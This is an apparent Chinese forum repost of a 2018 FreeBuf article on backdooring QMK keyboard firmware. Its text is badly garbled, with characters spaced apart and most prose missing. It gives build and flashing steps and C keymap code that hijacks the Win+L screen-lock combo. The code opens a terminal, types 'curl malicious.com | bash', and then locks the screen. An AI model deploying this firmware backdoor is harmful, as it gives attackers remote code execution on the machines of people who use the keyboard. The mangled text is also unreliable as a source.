[13597] 2018-12-31_QMKhuehuebr:QMK键盘固件后门

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-18
2018-12-31_QMKhuehuebr:QMK键盘固件后门 Q M K h u e h u e b r Q M K   F r e e B u f   2 0 1 8 - 1 2 - 3 1 使 使 q m k Q M K 使 q m k , S h e l l K e y b o a r d   R e c o n 使 P C B 1 . 2 . k e y b o a r d c a s e 3 . Q M K P C B H O O K k e y l o g g e r " 使 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / q m k / q m k _ f i r m w a r e . g i t c d   q m k _ f i r m w a r e u t i l / ( l i n u x | m a c o s ) _ i n s t a l l . s h q m k _ f i r m w a r e / k e y b o a r d s / < P C B _ M O D E L > / r u l e s . m k C O M B O _ E N A B L E   =   y e s c o n f i g . h # d e f i n e   C O M B O _ C O U N T   1 # d e f i n e   C O M B O _ T E R M   3 0 0 C O M B O _ C O U N T C O M B O _ T E R M c d   q m k _ f i r m w a r e / k e y b o a r d s / < P C B _ M O D E L > / k e y m a p s m k d i r   k e y l o g g e r c p   - R   d e f a u l t / *   k e y l o g g e r c d   k e y l o g g e r / k e y m a p . c # i n c l u d e   " a c t i o n _ l a y e r . h e n u m   c o m b o _ e v e n t s   {     L O C K _ S C R E E N } W I N   +   L c o n s t     u i n t 1 6 _ t   P R O G M E M  
q m k H O O K q m k Q M K Q M K P o c P o C 使 x d 6 0   P C B l o c k _ s c r e e n _ c o m b o   [ ]   =   { K C _ L G U I K C _ L C O M B O _ E N D } ; k e y m a p . c v o i d   p r o c e s s _ c o m b o _ e v e n t ( u i n t 8 _ t   c o m b o _ i n d e x ,   b o o l   p r e s s e d )   {     s w i t c h ( c o m b o _ i n d e x )   {         c a s e   L O C K _ S C R E E N _ X :             i f   ( p r e s s e d )   {                 / /   S E N D   T H E   C O M B I N A T I O N   K E Y S   T O   O P E N   T E R M I N A L   W I N + E N T E R                 r e g i s t e r _ c o d e ( K C _ L G U I ) ;                 r e g i s t e r _ c o d e ( K C _ E N T E R ) ;                 / /   R E L E A S E   T H E   K E Y S   T O   O P E N   T H E   T E R M I N A L                 u n r e g i s t e r _ c o d e ( K C _ E N T E R ) ;                 u n r e g i s t e r _ c o d e ( K C _ L G U I ) ;                 / / W A I T   5 0 0   M I L L I S E C O N D S   F O R   T H E   T E R M I N A L   O P E N                 _ d e l a y _ m s ( 5 0 0 ) ;                 / / S E N D   C O M M A N D   U S I N G   T H E   M A C R O   S E N D _ S T R I N G   W H I C H   S E N D S   K E Y C O D E   B Y   K E Y C O D E   W I T H O U T   D E L A Y                 S E N D _ S T R I N G ( " c u r l   m a l i c i o u s . c o m   |   b a s h   ;   e x i t "   S S _ T A P ( X _ E N T E R ) ) ;                 / / S E N D   T H E   O R I G I N A L   K E Y C O D E S   R E S P O N S I B L E   T O   L O C K   T H E   C O M P U T E R                 r e g i s t e r _ c o d e ( K C _ L G U I ) ;                 r e g i s t e r _ c o d e ( K C _ L ) ;                 / /   R E L E A S E   T H E   K E Y S   R E S P O N S I B L E   T O   L O C K   T H E   C O M P U T E R                 u n r e g i s t e r _ c o d e ( K C _ L ) ;                 u n r e g i s t e r _ c o d e ( K C _ L G U I ) ;             }     } b r e a k ; } m a k e   < K E Y B O A R D _ P C B > : k e y l o g g e r s u d o   m a k e   < K E Y B O A R D _ P C B > : k e y l o g g e r : d f u
g i t h u b F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则